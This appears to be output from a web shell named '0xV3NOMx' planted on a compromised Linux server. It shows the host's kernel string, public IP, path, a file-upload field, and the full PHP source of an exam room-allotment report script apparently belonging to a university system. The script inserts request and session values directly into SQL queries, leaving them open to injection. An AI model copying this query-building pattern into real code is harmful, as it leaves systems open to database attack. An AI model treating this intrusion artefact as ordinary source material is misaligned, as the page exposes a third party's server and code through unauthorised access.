0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.117.74.47


Current Path : /var/www/oasis/Report_details/
Upload File :
Current File : /var/www/oasis/Report_details/roomallotmantsummarynew.php

<?php
function GenerateroomallotmantsummaryNew($aobj_context)
{	
	session_start();
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
    $college_code = $_SESSION['collcode']; 
	$FUNIVCODE = $_SESSION['FUNIVCODE'];
	//echo $college_code; 
	$deggrp = $aobj_context->mobj_data["deggrp"]; 
	$frm_date = $aobj_context->mobj_data["frm_date"]; 
	$session = $aobj_context->mobj_data["session"]; 
	$exmmonth = $aobj_context->mobj_data["exmmonth"]; 
	
	$yemode = explode("*",$exmmonth);
	$year = $yemode[0];
	$examtype = $yemode[1];

	$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
	$main_src=$main_src_obj[1];
	$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
	$tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php";
	$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf";
// global varibales
	$p_count =1;
// end global varibales	
	include($pdf_writer_class);		
	$pdf= new FPDF();
	//$pdf->$title='20000 Leagues Under the Seas';
	$pdf->SetFont('Times','',10);
	$pdf->SetMargins(20,9.5);		
	$pdf->AliasNbPages();	
	$sub_degree_cond="";

	$page_header_university = "select ifnull(c.fsubas,'Subject') as fsubas,c.funivcode,c.FUNIVNAME,c.FTOWN,concat(d.fcollname,', ',d.ftown) as fcollname, date_format(now(),'%d/%m/%Y') as date from control c,college d where d.fcollcode='{$college_code}'";
	$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
	
	$pdf->aobj_context =$aobj_context ;
	$pdf->WhichReport = 'roomallotmentsummary';
	$pdf->FUNIVNAME = $lobj_page_header_university['FUNIVNAME'];
	$pdf->FTOWN = $lobj_page_header_university['FTOWN'];
	$pdf->funivcode = $lobj_page_header_university['funivcode'];
	$funivcode = $lobj_page_header_university['funivcode'];
	$fsubas = $lobj_page_header_university['fsubas'];	
	$pdf->college_name = $lobj_page_header_university['fcollname'];
	$pdf->frm_date = $frm_date;
	$pdf->orientation = 'L';
	$pdf->session = $session;
	$pdf->deggrp = $deggrp;
	// var_dump($pdf->deggrp);
	// die();

	$pdf->date_1 = $lobj_page_header_university['date'];

	if($session== 'both')
	{
		$sectionvalue = "";
	}
	else 
	{
		$sectionvalue = "and t.fsessiont like '{$session}%'";
	}	

	if($_SESSION['fexamseparate'] == 'T')
	{
		$candsum = "examcandsum"; 
		$canddet = "examcanddet"; 

	}else
	{
		$candsum = "candsum"; 
		$canddet = "canddet"; 
	}	
	if($deggrp== 'All'){
		$deggrpcond = "dg.fdeggrp between '0' and 'Z'";
	}
	else {
		$deggrpcond = "dg.fdeggrp='{$deggrp}'";
	}

	/*$get_subject_data = "select cd.fdegree,cd.fexamno,cd.fcollcode,s.FQPCODE as qpcode,
						cd.fsubcode,mr.froomname as roomname,mr.fcapacity,
						COUNT(cd.fhallno) as fcount
						from canddet cd, masroom mr, subject s  
						where mr.froomno = cd.fhallno and cd.fdegree = s.fdegree and cd.fexamno = s.fexamno 
						and s.FSUBCODE = cd.FSUBCODE and ifnull(fqpcode,'') <> '' and ifnull(cd.fpresent,'') = 'P' and mr.fcollcode='{$college_code}'
						{$sectionvalue} and s.fdoe = date_format(STR_TO_DATE('{$frm_date}', '%d/%m/%Y'),'%Y-%m-%d')
						group by cd.fhallno,s.fqpcode order by cd.fhallno, s.fqpcode"; */
	
	$get_subject_data = "select mr.fcollcode,s.FQPCODE as qpcode,
	if('{$funivcode}' = '055',concat(s.fsubshort,' - ',s.fsubname),s.fsubname) as fsubname,
	s.fsubshort,mr.froomno,mr.froomname as roomname,mr.fcapacity,
	COUNT(cd.fhallno) as fcount
						from $canddet cd, masroom mr, subject s ,$candsum cs,degree dg, timetable t  
						where cs.fcntrcode=mr.fcollcode and mr.fcollcode='{$college_code}' 
						and mr.froomno = cd.fhallno and cd.fdegree = s.fdegree and cd.fexamno = s.fexamno 
						AND t.fqpcode = s.fqpcode 
						and t.fyear = cd.fyear
						and t.fexamtype = cd.fexamtype
						and cs.fyear = cd.fyear
						and cs.fexamtype = cd.fexamtype
						and mr.fcollcode=cs.fcntrcode and cd.fdegree=cs.fdegree and cd.fcollcode=cs.fcollcode and cd.fregno=cs.fregno
						and s.FSUBCODE = cd.FSUBCODE and ifnull(s.fqpcode,'') <> '' and ifnull(cd.fpresent,'') = 'P' 
						and dg.fexamno=cd.fexamno and dg.fdegree=cd.fdegree AND {$deggrpcond}
						and ifnull(s.fparentsub,'') <> 'T'
						AND cd.fyear = '{$year}'
						AND cd.fexamtype = '{$examtype}'
						{$sectionvalue} and t.fdate = date_format(STR_TO_DATE('{$frm_date}', '%d/%m/%Y'),'%Y-%m-%d')
						group by mr.fcollcode,cd.fhallno,t.fqpcode order by cd.fhallno, t.fqpcode";

						// var_dump($get_subject_data);die();

	$aobj_context->mobj_db->execute("SET @@session.group_concat_max_len=1000000");
	$lobj_subject_data = $aobj_context->mobj_db->GetAll($get_subject_data);	
 	// var_dump($get_subject_data);
	//  die();
	//   print_r($get_subject_data); die();
	$pdf->fddate=$lobj_subject_data[0]['fddate'];
		$pdf->AddPage("L");	
	//$pdf->Ln();
	$pdf->SetFont('Times','B',10);
	$i = 1;
	$oldromm = "";
	$newromm = "";
			$pdf->Cell(15,5,'Sl. No.','1',0,'C');
			$pdf->Cell(70,5,'Room / Block Name','1',0,'C');
			$pdf->Cell(25,5,'Room Capacity','1',0,'C');
			$pdf->Cell(30,5,'QP Code Alloted','1',0,'C');
			$pdf->Cell(100,5,$fsubas.' Name','1',0,'C');
			$pdf->Cell(25,5,'Student Count','1',1,'C');
			$pdf->SetFont('Times','',10);
			$totcount = 0;
			$roomcnt = 0;

	foreach($lobj_subject_data as $key => $value)
	{	
        $yAxisPosition = 170;
		
		if($pdf->GetY() > $yAxisPosition)
		{
			$pdf->AddPage("L");
			$pdf->Cell(15,5,'Sl. No.','1',0,'C');
			$pdf->Cell(70,5,'Room Name','1',0,'C');
			$pdf->Cell(25,5,'Room Capacity','1',0,'C');
			$pdf->Cell(30,5,'QP Code Alloted','1',0,'C');
			$pdf->Cell(100,5,$fsubas.' Name','1',0,'C');
			$pdf->Cell(25,5,'Student Count','1',1,'C');
			$pdf->SetFont('Times','',10);
		}
		
		$newromm = $value['froomno'];

		if($oldromm != $newromm)
		{
			$oldromm = $value['froomno'];
			if($i > 1)
			{
			
				$pdf->SetFont('Times','B',10);
				$pdf->Cell(240,5,'Room Allotted Count','1',0,'R');
				$pdf->Cell(25,5,$roomcnt,'1',1,'C');
				
				$roomcnt = 0;
				$pdf->SetFont('Times','',10);
			}
			$pdf->Cell(15,5,$i,'LRT',0,'C');
			$pdf->Cell(70,5,$value['roomname'],'LRT',0,'L');
			$pdf->Cell(25,5,$value['fcapacity'],'LRT',0,'C');
			if($funivcode == '055')
				$pdf->Cell(30,5,substr($value['qpcode'],0,5),'LBR',0,'C');
			else
				$pdf->Cell(30,5,$value['qpcode'],'LBR',0,'C');

			if($funivcode == '052')
				$pdf->Cell(100,5,$value['fsubname'],'LR',0,'L');
			else
				$pdf->Cell(100,5,$value['fsubname'],'LBR',0,'L');
			
			$pdf->Cell(25,5,$value['fcount'],'LRBT',1,'C');
			$totcount = $totcount + $value['fcount'];
			$roomcnt = $roomcnt + $value['fcount'];
			$i++;
		}
		else
		{
			$pdf->Cell(15,5,'','LR',0,'C');
			$pdf->Cell(70,5,'','LR',0,'L');
			$pdf->Cell(25,5,'','LR',0,'C');
			if($funivcode == '055')
				$pdf->Cell(30,5,substr($value['qpcode'],0,5),'LBR',0,'C');
			else
				$pdf->Cell(30,5,$value['qpcode'],'LBR',0,'C');

			$pdf->Cell(100,5,$value['fsubname'],'LR',0,'L');
			$pdf->Cell(25,5,$value['fcount'],'LRB',1,'C');
			$totcount = $totcount + $value['fcount'];
			$roomcnt = $roomcnt + $value['fcount'];
		}
		
	}

	$pdf->SetFont('Times','B',10);
	$pdf->Cell(240,5,'Room Allotted Count','1',0,'R');
	$pdf->Cell(25,5,$roomcnt,'1',1,'C');

	
	$pdf->Cell(240,5,'Overall Total','1',0,'R');
	$pdf->Cell(25,5,$totcount,'1',1,'C');

	
	$pdf->Output("Roomsummay.pdf","I");
} 
?>